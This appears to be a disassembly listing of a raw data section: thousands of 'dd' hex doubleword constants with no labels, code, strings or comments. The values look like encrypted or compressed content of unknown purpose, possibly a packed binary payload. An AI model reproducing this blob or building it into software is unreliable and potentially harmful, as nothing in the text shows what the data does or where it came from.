dd 545AD572h, 20609D59h, 0FDDA303Bh, 17C01053h, 3799215Ch
dd 0B2046D6Dh, 0F8B62EB4h, 75572631h, 0C926F909h, 0B474ABADh
dd 4CAD02B8h, 0D8F73FCBh, 3EB2FF61h, 428E0051h, 22CD4A53h
dd 8B4111FAh, 80FA292Bh, 1F3CBC33h, 26C2F046h, 14EF5F58h
dd 5B03AD33h, 0AA24E941h, 183304Bh, 223F4C22h, 145C2984h
dd 0D386106Ah, 889BA879h, 57503EC7h, 0B9071D92h, 3487C41Eh
dd 0E90DB8F6h, 18F5585Bh, 0B73853E6h, 4907D966h, 0C6DF4B91h
dd 61C40E5Ah, 2C247590h, 0A8880106h, 0F8310EB7h, 6A45C4EDh
dd 454B9ECFh, 0AF26A5A5h, 0F95A7132h, 53689E2Dh, 0AAD5CC6Dh
dd 16C86500h, 0AE9EA29h, 9E23B12Bh, 36FB4C56h, 0C487A3Bh
dd 0A1B1C09Bh, 5AACE950h, 7B3FA729h, 445FD12Dh, 529E191h
dd 0B7AC455Ah, 0B507E80Ah, 0E3A537BCh, 5EF2128Bh, 965A56C8h
dd 452A8923h, 0E59E8556h, 51660F09h, 69BFBC28h, 0C0B71264h
dd 0F601EFA6h, 6866D705h, 20BF3732h, 0C708C06Fh, 151E34BFh
dd 0CBA89EE9h, 0DE281A51h, 53975812h, 50D6CEC3h, 8980EDE7h
dd 0BAA5EED9h, 0E91DBC15h, 9462720Ah, 909A8ADh, 67050F1Ch
dd 3FAED90h, 6C253EEAh, 427AD962h, 0F694922Ch, 3815EE00h
dd 1710BF33h, 312FE206h, 84A68BD7h, 91544E51h, 81D0A3A5h
dd 4090C78Dh, 6EEC3860h, 14479562h, 93AFB08h, 0FA59515Dh
dd 0D5805944h, 0B540643h, 58C18941h, 0E392D5F1h, 0C4802240h
dd 60E4C070h, 8520C03h, 0CDF958E1h, 0B6A120C8h, 0F1284616h
dd 4F2CFFE8h, 965F9DA6h, 7AC0E19Bh, 1E5D218Fh, 17509Ch
dd 0F15AED81h, 155CFDAh, 0E3C15D5Bh, 85DBF705h, 75E66804h
dd 0ED105E8Dh, 39EBC15Bh, 3EF28105h, 311FA78Dh, 95516DDh
dd 0C444D6C5h, 1D45E3A0h, 875E7406h, 17064BDEh, 0FE3DF681h
dd 2894D0Bh, 0CBF7E97Eh, 0A1CFA9AAh, 6C640AA7h, 81AB0F26h
dd 0D1F9C047h, 0FAC68912h, 9F208052h, 0D115A21Dh, 82B98087h
dd 51660771h, 5C3B5F69h, 0D9FC5AF6h, 0DDA600C9h, 181FE57Eh
dd 0DDCE981h, 590ECF29h, 6E08EFC1h, 140172E7h, 0DB73D906h
dd 17CAC6D8h, 0B8247155h, 34D01024h, 77B25202h, 0C841C280h
dd 0E9146E50h, 4054B2EFh, 911BAE9h, 424C9333h, 0FB0082FEh
dd 0E940EF74h, 0D1264BA0h, 24D219FBh, 99AA5703h, 0B7F4C63h
dd 1EE64931h, 63356B68h, 0D64ABDE8h, 0A2AEBD0Ah, 0C9165F66h
dd 98CE144Ah, 42DE3110h, 7B0D6922h, 67CE28DCh, 74C32BB8h
dd 3C24EE13h, 0D010213h, 8DB1DBCh, 52402A25h, 60F62B68h
dd 0EBB20C65h, 629D9DD6h, 0D94CC2AAh, 11B71035h, 0A78474E9h
dd 0C52FF8A0h, 40AFA3C8h, 150A2D20h, 50003A8h, 65662318h
dd 6685651h, 0FF97CF5h, 454FB85Eh, 0E90945DBh, 655638A1h
dd 4F6BBE81h, 74203793h, 530DC06Fh, 8B05C668h, 0F6D1744Ah
dd 0BB006073h, 0AC144FCEh, 7D834369h, 0D7031826h, 0D6B60F8Ch
dd 0F8154194h, 0BCC0B11h, 4866DB3Ah, 43859031h, 25A6B632h
dd 4BA561EDh, 0D20768FCh, 0BB680BA9h, 2913ADCh, 0F2C0EA50h
dd 0C2074AA7h, 881C328h, 7BC23EE9h, 9684A627h, 0F709F691h
dd 8257D8FDh, 0C058C7F2h, 0C3428494h, 5550F757h, 0FA017CE0h
dd 0C060C2FAh, 5BA82C3Ah, 3B0FE51h, 0F64704F3h, 53FBFED0h
dd 7653CC6Bh, 59680E7Dh, 90898C37h, 74EED917h, 0F292FC97h
dd 2032750Bh, 576A3CC1h, 0ECCFB4F9h, 6CA2271Bh, 2C4227Bh
dd 6816B490h, 0D9F35EB2h, 0C8FEA20Bh, 0BB448685h, 0B4329639h
dd 7310310h, 275B48BDh, 3E69D689h, 2B11EC9Bh, 0C257D7F2h
dd 0A90BC186h, 56C0256Ah, 0B454E8D2h, 7A36C500h, 4E0148EEh
dd 766A61D9h, 0DABE00A6h, 0ABD2768h, 6CA73B73h, 7C22593h
dd 0BA9F5E66h, 1320D8BAh, 5FE1B9E9h, 0A99F59CBh, 857B58h
dd 0A5CEB30Fh, 36F6D628h, 0C9D6809h, 0E90A6371h, 40A58B82h
dd 4CBD30BEh, 0B3029B72h, 0F701AE41h, 0A602E950h, 0E93F9C6Ah
dd 681E487Eh, 0A5E00B6h, 0E1815914h, 0D8306E16h, 3890C23h
dd 43F7CF8h, 7071F5F1h, 2E5BFC1Dh, 0EA25164Eh, 91F354B3h
dd 6E95764Bh, 2147BF4Ah, 0C7025693h, 0DECBCAE9h, 41748018h
dd 42BB083Dh, 50FC213Ch, 287E44CEh, 7A12048h, 10012FBEh
dd 92748629h, 278F98CBh, 7790AFADh, 0EEE4F530h, 965308C9h
dd 0EA832DAEh, 0A5947764h, 99F3E344h, 4DC5EF00h, 0FD892850h
dd 0EE015F12h, 0A74CAACAh, 9E1FE982h, 81D88BA4h, 3E37699Ah
dd 9CBE2D33h, 6B0936A3h, 56025B09h, 0B507A6B0h, 56EB2872h
dd 65253AEBh, 0E9589CF9h, 0EDB4CEh, 516A68B9h, 0E14BD154h
dd 1DA57188h, 53658E2Eh, 4B87F8FFh, 8A300C8Dh, 5A0979B2h
dd 3F5ECD1Eh, 92C01F84h, 34F652C2h, 0FD7EE1D3h, 0D50C747Bh
dd 0F7EA78E9h, 0C15E3BF2h, 0FA26CAC8h, 0BC4D9B44h, 565244F4h
dd 3DC42080h, 0E96038F5h, 0F6CE5325h, 6AE5E9A1h, 1878F5C9h
dd 1FA0D589h, 85121BB8h, 0BCF13E5Ah, 3DD15A47h, 0F69862A2h
dd 0BFE96805h, 0F6CA4B4Eh, 8E93364Ah, 0D517A00Bh, 23A841Eh
dd 29191500h, 3B7BE96Dh, 0EBFEF29Ah, 0AC7F84C6h, 0AF584D12h
dd 0B62CB40Bh, 8747638Ah, 85386203h, 5B0AFD30h, 5AD758C0h
dd 332B5C39h, 31762020h, 8CC56597h, 0F33B15D4h, 0E36CA616h
dd 2DEBD100h, 26712674h, 801A37E9h, 0B80860BFh, 0EFBC4F23h
dd 1C00E71Dh, 38E969E1h, 0FD8880B1h, 0B924FB98h, 0F9A0B6ECh
dd 3E15640Fh, 23979E0Ah, 815856B7h, 344A3F2Dh, 26906AF8h
dd 0DE5E0BCBh, 3A74809h, 2E472166h, 0A7C708D9h, 1BAEB064h
dd 3DBB805Ch, 9AB2114h, 0E51450A7h, 8B72B84Dh, 205ACC52h
dd 6818C9F4h, 5415711Bh, 0DFEBAC13h, 2D3D1C6Dh, 0A1E04BBBh
dd 0E64BB652h, 56C98DF2h, 0B32AB4D6h, 2A2C9E95h, 0E8EEC1E9h
dd 0BF609FEEh, 0F20E490h, 5F38B03Ch, 325324E3h, 305E6D61h
dd 4F86525h, 0A87AE168h, 7BD9C034h, 35814CCEh, 0B10DDDF2h
dd 40ED6C59h, 0EF4AF075h, 1EC4CEA4h, 0C933BA47h, 656B6B7h
dd 4A6B6E81h, 0C7DB015Dh, 580208EAh, 0D569DA68h, 9060F132h
dd 0BB767433h, 0DF4F7E04h, 60944CE9h, 87A07FA8h, 0D169F7CAh
dd 0A46A5B08h, 0FEE959F8h, 0B6281DDCh, 0E381613h, 19EFED00h
dd 4A396C28h, 5CFA134Fh, 5DF4C656h, 0C205C8C5h, 35B11AB4h
dd 0EA2899BCh, 3C8B2F08h, 1F2E674Dh, 0AC4E3693h, 13A6DFC1h
dd 0AD741C03h, 0FDC9B033h, 2B2C2747h, 8AE964E0h, 783F2169h
dd 8CB93FE3h, 34F0092Dh, 40C76263h, 243E0591h, 427A73h
dd 0F63360C2h, 0D65AF730h, 844CCF80h, 0F0215A01h, 0FA01E62Fh
dd 0E91FB164h, 9580B42Ch, 1C2D02E8h, 80957262h, 0E09E25B4h
dd 76049745h, 0A409AE31h, 0A11396E8h, 27666688h, 326AA500h
dd 0ADFBE94Eh, 0C014D383h, 0E6890FF0h, 672C75Eh, 87013483h
dd 0C346EBEFh, 288641Fh, 2B9ABC09h, 9C17666h, 7C4C0196h
dd 850DE232h, 2C29778Ah, 98506DFCh, 9BEA8841h, 7AD94413h
dd 26DA4A08h, 49F8245Dh, 0E989EA5Bh, 0A1702FCCh, 2B8B126Bh
dd 14CDC42Bh, 0D15A5A07h, 30E829D6h, 929FEDF5h, 0CF27C063h
dd 95987535h, 0DE65BFA9h, 4FFC5812h, 0B2C7305h, 3977C050h
dd 0C48AA5Bh, 58CA3E9Ah, 410C60D3h, 6D7B82Bh, 0AA214EBAh
dd 0F502D85Ch, 1238020h, 44042CAh, 0A7B85908h, 1332EA40h
dd 11E54Ch, 1F38ABCEh, 0F620E929h, 0E0F5A0B7h, 72660196h
dd 0DD7A45BEh, 87D02E0Dh
dd 2618FFEEh, 23A628Bh, 0A4F9120Fh, 0B288095Dh, 88FA7C63h
dd 17A4516Dh, 0D5C4E006h, 4010FC2Fh, 66015A09h, 50E58058h
dd 0C0DEDDF6h, 80DF440Eh, 0F991DA31h, 99B1E961h, 7CDAEC35h
dd 18484956h, 9EB77825h, 0E5CE9F65h, 3A80974Bh, 0F41CC80h
dd 0E4D0DCF6h, 1D27888Bh, 0B96A87h, 17105EEh, 272D6849h
dd 6249877h, 11642710h, 0C1E55D70h, 0C4AF2822h, 112B609h
dd 0E6808BFDh, 0C3FCEC07h, 0F0B4E495h, 0AF05BD87h, 3B778153h
dd 9F800420h, 105E56DFh, 41D90177h, 4F2D3608h, 0E9820DA2h
dd 9DE8BE3Ah, 893D58C7h, 8BD92FF8h, 0A768FB72h, 5816BC72h
dd 0D54220E9h, 0AF421F68h, 5DDB0475h, 1EDD30EFh, 5A1D4812h
dd 2089BBBDh, 1913943Fh, 73E42EE9h, 86930754h, 0A0475B25h
dd 0A203CF6Eh, 0D15D101Ah, 4A1004EFh, 0D07FA746h, 0C18E9C5h
dd 73DCE4BFh, 381D0B81h, 45837302h, 819C4BAAh, 0B2C5E8h
dd 7986DBF6h, 850A4BD3h, 0B5FAECCBh, 6987749Ch, 89F33C98h
dd 10850EAh, 0F58006A1h, 0D2760698h, 83A5C53Ch, 0E5D052EDh
dd 0F60590C0h, 161AC9D5h, 7146F0Ch, 5866CDF0h, 701CD62Ah
dd 59E83837h, 68D82884h, 9130EA93h, 4FF671B7h, 0B6D328D7h
dd 2C800F3Fh, 5A1D575Bh, 22B2EF8Fh, 0D666A9C7h, 0CBF8B86h
dd 0D7A053CEh, 360A5A45h, 0A3FB0166h, 66990820h, 68A530C9h
dd 0D9888042h, 0B5F31EEh, 7FFA1DE4h, 36E22C5Fh, 827ECE05h
dd 32E9164Bh, 169FE2D0h, 532995BDh, 8D14307Ch, 39E90BB8h
dd 0A52B5B1Ch, 0E989E9F1h, 5C8D50A1h, 865C8C59h, 0D0685A04h
dd 0C4C7A803h, 0B0164EA3h, 404FC297h, 0A7E0ABC1h, 2FCB346Ch
dd 0CFFEC2A2h, 0BF56A584h, 284C1E1Fh, 0E12C28EEh, 0AAD98EE2h
dd 941A1C3Eh, 85A2DFCBh, 0A50F7DB1h, 7DB95560h, 79706A04h
dd 6589C04Bh, 170BF07Bh, 9619F2E9h, 0C9342FF3h, 0D5814E6Ch
dd 0D304225Fh, 404C300Fh, 0EF0D60C7h, 1262000Bh, 0E70FED2Dh
dd 0C2258972h, 53824158h, 66B3A62Bh, 0E1D463DAh, 0BD098230h
dd 6AECEEE0h, 8601F4F0h, 3058E688h, 0A77866F0h, 0A0D7E9C5h
dd 0F6ED5C14h, 2AE1BE93h, 0D00CA5DDh, 96DB2227h, 113A080h
dd 0A0E10C4Fh, 0BC4D252Bh, 56FB06B5h, 81D074C5h, 2C6A2906h
dd 5F628903h, 0D6D231BCh, 17BD248Eh, 0E949899Dh, 56D9F75Eh
dd 78BF4849h, 27524C10h, 0D0A78C0Fh, 24F0EC73h, 89383153h
dd 8B7E394Ch, 41D521E1h, 630D1F7h, 8F981F64h, 0DF728CDCh
dd 86A60C69h, 0E2481929h, 7A904902h, 87BEE0BAh, 23941E06h
dd 7EFE0F52h, 13296E85h, 47EF8C5h, 19E1BAFh, 7B74CBAAh
dd 7CDBEA48h, 13586001h, 0F3A6E94Fh, 4AFECE34h, 2644B76Ch
dd 0B981F90Dh, 0C317F887h, 579EBC8Fh, 200B1DEBh, 92D01E0Ah
dd 0CA4C915Fh, 228005A2h, 0BC231F51h, 0A640145h, 605D148Dh
dd 5B77E0Bh, 0C082435Ch, 0CC985F0Eh, 0E9830C76h, 0A18DDB3Ch
dd 0E3153802h, 199D0B48h, 2D0C40D8h, 7253F52Ah, 0E95781D5h
dd 0E76C9B50h, 0BB169EC5h, 95AF6F61h, 0EEF1B781h, 0ED1F2049h
dd 0C46DA092h, 77E0AC09h, 2FFE7EB8h, 0B9DC970h, 3DC92004h
dd 0B8F707EDh, 5FD909E6h, 4747B3Bh, 48C8003Ch, 61350AD3h
dd 8BAA0137h, 7FE9C529h, 1E7D540Ch, 0B65DC1AFh, 2FC831A0h
dd 0BBAF998h, 5191AE25h, 48271EFEh, 1E72C683h, 0C8204149h
dd 5E17F895h, 0F713D18Eh, 10E605E1h, 9172FE07h, 181AA2Eh
dd 56430AC2h, 0A89C89F6h, 0F78F68FBh, 0D1F500D5h, 6313CA09h
dd 0C5C80E45h, 2089A5C1h, 0B90751A4h, 64FD0CF2h, 769A1182h
dd 0F9246FD4h, 66FC90CEh, 8CC6C83Bh, 0ECC994E8h, 0D72B4B52h
dd 0E038D5F9h, 0DD985B40h, 676F6816h, 0D7D6F7ACh, 5BDFF197h
dd 8A322F5Eh, 25AF0A87h, 8BF70E41h, 482D5834h, 5400Bh
dd 0BC81FD08h, 512BBD55h, 4D71ED12h, 2105CF2h, 8D2D02AFh
dd 0C175F83Bh, 0F700498Bh, 0F22881DAh, 0E9809A3Dh, 0A5129EEAh
dd 6717105Ah, 0DCAA2B4h, 42D2F759h, 141B0206h, 0E929F6E0h
dd 0D24C5F25h, 20590FF6h, 0A8923202h, 985C105Fh, 49A0351Eh
dd 8680997Ah, 5D20528Ch, 8083DA95h, 4B685808h, 894AC2BDh
dd 97481475h, 0E95435B8h, 0CF0B9330h, 6C281D2h, 21144F9h
dd 8A02A642h, 896CAC36h, 0CDD063D6h, 680BC6FCh, 0C45E1480h
dd 0CA0D4BD3h, 0E90D614Fh, 0CB2E3ABCh, 0D5845E0Fh, 66B29BBCh
dd 0CFC710D7h, 49C38993h, 2C89ED99h, 59F75FE2h, 305F0D30h
dd 0C32E80D3h, 0C52CF2F5h, 7CCD3418h, 52D1034Ch, 0A3C98159h
dd 83438DE1h, 0E64FE0Ch, 58E9E06Ch, 0C2E65F20h, 54C8C888h
dd 1B497868h, 7009E4Ah, 57E93CE8h, 496B9DFDh, 82CA5AB2h
dd 501226F3h, 0DAD0CD0Fh, 2F6D560Ah, 0C36237F2h, 0B21DE63h
dd 7A2D1E91h, 3EC081D4h, 0F3AD4757h, 0D0831C6Bh, 0CBFE13B4h
dd 13FA1208h, 24BA48Ah, 78B55103h, 9CBED80h, 0E2E9FD06h
dd 6655E362h, 124424B4h, 135BC2A5h, 51D1B4F6h, 0C8BA03Ch
dd 59250A7Bh, 0DB38305Dh, 797B6545h, 0AEFDC727h, 0A369E2FFh
dd 68704074h, 889D504Ah, 40B901C6h, 0EFE90F5Bh, 10D87222h
dd 0C4CC10Dh, 0E49FC813h, 944FC19h, 130F90CBh, 0B0BE6FDEh
dd 749205D1h, 0DE4ED635h, 483C10B1h, 0B933953h, 0C9790204h
dd 0F1D72BEBh, 618F087Bh, 1DECFEB4h, 0A09A64B4h, 4A2DE915h
dd 0C17E71B7h, 8630F586h, 4420E96Ah, 5AC57C15h, 6BFB0EFh
dd 3751CF40h, 0BE7FA368h, 7AC4F0EBh, 4C6099F0h, 14DBC77Fh
dd 4D447B32h, 0B901F67Ch, 408647A6h, 0D3722049h, 0C3A2E407h
dd 2674CA31h, 366D69A1h, 17FA68C2h, 55B067Ch, 933AE026h
dd 0E9C2024Fh, 5DD29C3Bh, 12820850h, 96739D2Eh, 0E4DD9F09h
dd 0EFB70F76h, 6A8591B6h, 30958C25h, 0F568C312h, 5FDF8B93h
dd 0B7F646Dh, 0B5D84CFFh, 0DEF74E12h, 273C2502h, 0BBF7400Ah
dd 49C5BCF1h, 0C2317370h, 91A65541h, 25CBA938h, 9582CF0h
dd 9D8D406Bh, 3D5F4B13h, 9EE8E858h, 3655274Ah, 0EB502C50h
dd 164BE908h, 2BA7405h, 0FB5565EBh, 0E435BB4Eh, 6B846DB3h
dd 0DB68C540h, 0C058796Ah, 0F4C8ED70h, 895AF0D1h, 2059B2Ch
dd 2F490B76h, 0C1D0D8F7h, 7A00A2F4h, 0BA520908h, 1B95A5Bh
dd 63E2811Bh, 80314A20h, 7677FE0Ch, 1FBB5351h, 7EDB5C16h
dd 0BF2E302h, 947015EEh, 982C6BBDh, 0E50DC729h, 2D67A02Ah
dd 8753BF0Bh, 9644225h, 0EB0E8E07h, 0EA4F54D1h, 61F91753h
dd 4CA760C7h, 0FC2568FAh, 8BCA517Fh, 13D42C11h, 4642E167h
dd 0A4C06243h, 0FB815065h, 498BF43Bh, 1C085EF1h, 0E10444DEh
dd 0F6CB6FE5h, 390F277Fh, 1A4556C8h, 3465E026h, 202FAF03h
dd 0E4184E51h, 0C432E971h, 234BFA3h, 0FE02BC03h, 4128C2CAh
dd 0E123EBB8h, 0C0C6FEC2h, 0A820D978h, 9E6814DCh, 6A85701Fh
dd 709A31Ah, 5FF5C3Ah, 80A3C5D3h, 4B37E9FAh, 57DA2007h
dd 0EDF5F0BFh, 0DE9D307Eh, 9E857131h, 9C231C45h, 0BF59F140h
dd 0F3508907h, 8511E46Ch, 0D64F712Bh, 669F2CFFh, 0C3E9150Eh
dd 0F302A39Dh, 0D7BF42BEh, 0F3FD2FFFh, 0D49EE227h, 0BE449DAh
dd 0C02CC6B9h, 4A59CD73h, 0D3EC915Ah, 0F85D8736h, 88E23C2Dh
dd 240EDD5Dh, 49E908A1h, 9C493435h, 8CA8951Bh, 2FDDE945h
dd 0A8E41AA5h, 0D71E890h, 694E6D9Ch, 6B8A71DAh, 0F0DBAA9Ah
dd 8E160FEAh, 0D2FC6084h, 305807D9h, 985EDC31h, 0A1DD2DE3h
dd 2302C44Ah, 0E10DFE10h, 0D8127A7h, 1372F905h, 2DA32011h
dd 0ACE907A0h, 1207464Dh
dd 64AE671Fh, 56D20058h, 0E920063Eh, 32276826h, 9D056F87h
dd 0BDF80BBh, 0C14B3F6Dh, 7C3BA30Ch, 0D07A8016h, 0E97BDC3Dh
dd 7899D88h, 1F025ED4h, 43112C14h, 7D85F3A3h, 0C6BEEC3h
dd 50FF01A4h, 2E050978h, 0D3F7339Ah, 31CB8DC0h, 0E9B54C2Bh
dd 0FBCFF302h, 89DDCCF5h, 5D5903AAh, 0A8DC515Bh, 42EF9F04h
dd 0D5FDE9F6h, 0D60B0A5Bh, 70F974A7h, 112B968h, 0CBFC505Dh
dd 0AAF2854Fh, 40120928h, 38B45C30h, 0C85DC3h, 0D0CE865Ah
dd 91B050E6h, 0C03A0C00h, 63403E0h, 9EAAEAE9h, 3606C997h
dd 0BB0414ABh, 41653DD8h, 4D043EEDh, 0C062B4A4h, 0CD7BF614h
dd 0EE94609h, 0D3937CACh, 0DA8AAA4Fh, 8455E25Bh, 1133260h
dd 3965A811h, 8F21EC72h, 825C5CCFh, 0F14E0D68h, 26FB4B51h
dd 60B85000h, 0BF5F1C3Eh, 5E4638C0h, 802BE03Ah, 2A513A27h
dd 5A5FA2Dh, 0C501A152h, 7964F358h, 0BF16A59Dh, 444A9EECh
dd 13FDF548h, 0C2CDAEA1h, 58DAC8AFh, 50076817h, 71640C60h
dd 0CE2D5802h, 0BF99262Fh, 0A7173F57h, 414897E3h, 0A05CF8C9h
dd 0E5F0269h, 0E23305BFh, 0E7680954h, 40931A58h, 280E2687h
dd 0ECD03980h, 107F768Eh, 2FA41EE9h, 0E539C130h, 4844B900h
dd 276BED3Dh, 591B8735h, 0C0EDD804h, 0E81D6912h, 87688207h
dd 62EA9A71h, 0DA995710h, 13693884h, 50F28D7Fh, 0BD0ABC64h
dd 21310779h, 90B4E416h, 291D1AF8h, 41B5D2EBh, 3C0DB96Fh
dd 980E706Eh, 748B069h, 45CFCA24h, 0EA215Dh, 40AEF8Eh
dd 894B0809h, 5DE98AB4h, 0C045FFFCh, 3AE42D6Fh, 5468D8D8h
dd 7CE9A15Bh, 6669BDB1h, 6B4D2602h, 4211DEDFh, 9A5D8D0Fh
dd 2CFAC280h, 99350C9Eh, 9B642BDh, 650685C1h, 0DB933A88h
dd 0CBB69FB4h, 30AE040Ch, 0BD4FE9F3h, 0EAD3975h, 0DB04BE68h
dd 40B9D0D1h, 7F01FC77h, 0E670C9C8h, 0D85732E1h, 25BF2F43h
dd 0FAC22CC1h, 0C8E40D8Ch, 875A0C88h, 0A7C54EA2h, 0EA221E8Ch
dd 0DFF72AF9h, 1FE87CB3h, 0DAF901FBh, 19C037A6h, 66383725h
dd 72EEBC29h, 0D7CA08A2h, 74D76D41h, 0AAAD5FEEh, 0E9C33001h
dd 0BD48B8CEh, 546E130Eh, 2D6CA34Ah, 89B7E751h, 51712AC7h
dd 14C44888h, 199ECE59h, 0E0445DD9h, 137A1F08h, 6C297017h
dd 0CD038A8h, 4135D32h, 1604444h, 0ADE95111h, 504ECAFEh
dd 291770A4h, 0D295E49Fh, 7E18F372h, 12B1F195h, 676CFFEEh
dd 47393168h, 62166355h, 459B064Ah, 30C7804h, 85FA9D50h
dd 6C00CB01h, 0AE2386C7h, 52DAE949h, 0C27309Bh, 746B56D1h
dd 18E96169h, 106A26E0h, 100F0F2h, 0D4EB81C3h, 157D4E17h
dd 7A087627h, 5EDE3AC7h, 40C8B072h, 5F050503h, 484DEE63h
dd 0E98575B8h, 0D2D7A08Ah, 0E235E895h, 225F8297h, 1045C4C3h
dd 0A820E928h, 0EE21ED2Eh, 4B7BE12Ch, 59A0052h, 0D5F950FCh
dd 0EAF8E098h, 8F27449Eh, 0E58CB386h, 389E9A31h, 0E10FE4B1h
dd 860C058h, 5080B252h, 0E2E0B47Dh, 0D15C20F8h, 0E980B090h
dd 2F8295BAh, 0B1FFCBF3h, 8B2F54FBh, 4EE913DFh, 0DDB8B185h
dd 8266A2D6h, 5F561668h, 0A45D6816h, 59BE0255h, 5839A664h
dd 0C0F602EBh, 465CE371h, 0EB4A7A78h, 1587B80h, 0A8DDF1FBh
dd 3395322Ch, 0B26709A5h, 5C41E25Eh, 0E1348566h, 448A5B9Eh
dd 128124Ah, 0C23BEAD1h, 0A159D642h, 104D6883h, 0F2007966h
dd 812E2B43h, 0D14F8E1h, 179C0E61h, 11659111h, 225093B8h
dd 95C78EAh, 1EB8331h, 3E523600h, 0B4B81A19h, 0D04BAD09h
dd 60C96217h, 3C75C371h, 0E6AF5A30h, 0ADC63268h, 78604A70h
dd 84C77B0Ch, 0F329122Ch, 0E909025Eh, 6876E38Bh, 5C5BC269h
dd 3E034921h, 57D25119h, 883ECC4h, 3D66ACFDh, 3A13CFE9h
dd 97132EF6h, 3D64B315h, 95947C52h, 0B58A5A12h, 0AC3D6816h
dd 31BBD261h, 69EAC4F0h, 5AD404EEh, 50BF4B9Ah, 6F50085Ch
dd 0CB630166h, 58C3291Ah, 25917F5Dh, 4F0B763Dh, 5C0EE28Fh
dd 0E9D346E9h, 0E02CD63Dh, 0F81525E9h, 9ABDA3DBh, 1332657h
dd 2DE801B2h, 53C70C82h, 5DD4FC2h, 81AC196h, 0E914010Ch
dd 2424DF84h, 0F6A4BF71h, 68CBEA2Ch, 1022B75Eh, 0F716EB80h
dd 671000D8h, 41761D2Dh, 0DE188F98h, 0C18AA672h, 971C1F19h
dd 0D9F74C40h, 0CA38731Eh, 8729AE33h, 0C4657C1Eh, 9588815Fh
dd 593863Ch, 0D897BE8Ah, 130FB52Bh, 0CC83261Eh, 0BC97201h
dd 77DD12F0h, 161B9204h, 4EB85B01h, 0C1ED3EB5h, 58441DD3h
dd 0C16FEC31h, 57500868h, 22F5F27Eh, 514B284Ch, 6EC4D6E2h
dd 0AF091203h, 0BAE5E087h, 5E96F928h, 0C3C10A4Ah, 0B06492EEh
dd 8845B229h, 270576F4h, 6E6392FDh, 4D581AF2h, 6410F997h
dd 25C4BCBFh, 97FA9E5Bh, 2E4A0571h, 0B112670Dh, 5A2DD200h
dd 91505BA3h, 92B17133h, 5BAEEA8Fh, 0DEFA8A05h, 6817B26Ch
dd 0A602C4h, 0C1DF5024h, 7BD805E9h, 42EC4FDDh, 0BC85998Eh
dd 0AD09952Dh, 1210D6D6h, 2691824Fh, 9C58AC09h, 4BC740E3h
dd 76BFE6C1h, 0C802CBAh, 74F22A68h, 0E4B2CBE9h, 55C2EEB6h
dd 4F53062Ch, 0F84CD2C9h, 1ABD07CDh, 0A22E8732h, 89DE156Fh
dd 412719ACh, 908D59EEh, 2FA9433Ah, 0CB53BB88h, 0C09214D0h
dd 5D95A755h, 74E047C5h, 0D0C000B2h, 536650EAh, 521CDEB3h
dd 0BDBDDA88h, 2C5B1D5Ah, 7B4FC1EDh, 18ED6971h, 0AAEB5382h
dd 92FF2673h, 0C080C73h, 0DA7C038Ch, 0EDEE90Fh, 350E139h
dd 0C780E3B7h, 0A54E5A97h, 55CE7FA8h, 2B16E909h, 5FB147Fh
dd 0D86CEAEFh, 445EC36Eh, 0CEF11703h, 0DB23D554h, 0AD2D01F0h
dd 7974932Dh, 1AB02075h, 0A9854E24h, 48E1D513h, 0C08740D4h
dd 7067EB85h, 0DAA17977h, 0AE302F0Ah, 506C2248h, 96DDAB08h
dd 4505008Fh, 10A5D49h, 72DC828h, 167F2AA2h, 0EC6815EBh
dd 0BF007206h, 2C8639C0h, 73DE7C1h, 61326E9h, 21ECF40h
dd 0AE4A6625h, 0AB1873C4h, 0E0B8BFDFh, 3715C1D3h, 38479464h
dd 1CE9C402h, 60B954D0h, 15A0260Eh, 50011109h, 579C551Bh
dd 0E092E92Dh, 0B15AF42Ch, 12463DEAh, 74FFFED2h, 0DBF10220h
dd 0DDC01163h, 1A1FD8CBh, 0F3016A03h, 7D433866h, 8332C970h
dd 12F55ACAh, 0DB8EC169h, 17960B68h, 54110DF6h, 0A0ADE765h
dd 0E84E2980h, 9A999C1Eh, 5AB451F1h, 621DC0E9h, 8626C9DDh
dd 9E391301h, 2DC95FFDh, 82CDDEBAh, 29D94564h, 89F4E575h
dd 0BAE05551h, 3D2F2369h, 8139F03Eh, 5FF5107h, 6C77BB94h
dd 0B10BB03h, 5D590B07h, 67B2804Eh, 2D47B438h, 0F945F031h
dd 896BE904h, 68C211B9h, 0E56648D3h, 55899D9Eh, 0D177D454h
dd 0B25C0287h, 854A84C8h, 32F96802h, 0C46476D6h, 8896C6CAh
dd 164594F7h, 7B80C93Fh, 0D32FB48Fh, 9F6A347Ah, 8A33837Dh
dd 9BDF100Bh, 0AD4DDF7Dh, 842E288Bh, 0D22CA203h, 7084CDADh
dd 0C3800205h, 6E1F4407h, 0C88E2F88h, 1762C6C9h, 0BF0102D6h
dd 78423733h, 7DCC1930h, 29710B7Bh, 2DFA5DEFh, 661AFCECh
dd 5892B7BBh, 5427C08h, 87219EE2h, 0E896846Ch, 72F24B09h
dd 0D6A20488h, 0E05B61B5h, 48E3CE6Fh, 95B4509Ch, 92E268E3h
dd 0D0466091h, 0BFD27E32h, 0E911EC58h, 930B963Eh, 0C6E4F83Ch
dd 0F119DC7Eh, 0DFCAAF04h, 40B7E913h, 55FABA6Dh, 9DB00E96h
dd 54278B02h, 57D2F757h, 0A44A62E1h, 0E5005609h, 89408513h
dd 0C5A4CD3h, 0FABF5702h, 0E7603049h, 28802271h, 0A3041ED8h
dd 6F18652Ch, 0F398E0D0h, 0F7803F00h, 0F6C7FEE1h, 0F3EFF8D7h
dd 4F30D6C8h, 2BD8F1F8h
dd 9E7F69F6h, 665B2593h, 8F0BBCE8h, 79C1DA47h, 0CD0A5FE9h
dd 7CA3AC0h, 7A62885Ah, 838849Dh, 0ADE41D84h, 6953FAAAh
dd 0ED5E1A84h, 3A16755Ah, 82DBEAA1h, 3BFC8733h, 772F427Dh
dd 0C6252BE4h, 0CF2DD915h, 5870BBC9h, 24B2E6B7h, 0C93BF32Eh
dd 0EC76F04Ch, 0B0ACEB5h, 161D685Ch, 0E9247DCCh, 0ECAF2EF1h
dd 0BD8E0C0h, 44BA6866h, 31B11249h, 0A6160F6h, 0A4FBA9B7h
dd 0EA92B7F4h, 901CC0F1h, 5D7B1436h, 896D95Eh, 0B02D0E89h
dd 8394A723h, 5BBC383h, 0A583B9ECh, 5CEA28EEh, 0DE5248h
dd 19F76686h, 16ACF581h, 0B64B06Eh, 27A237BEh, 4064D25Ch
dd 0EA8D5F55h, 8F6F33C6h, 1D51CCF8h, 592F95BFh, 61C2B54Bh
dd 844E53D2h, 6601A5F3h, 0E936B450h, 65416E25h, 0E0A7AEDh
dd 42FD8121h, 75638005h, 5B76FA08h, 1788C23Fh, 6BE4EB82h
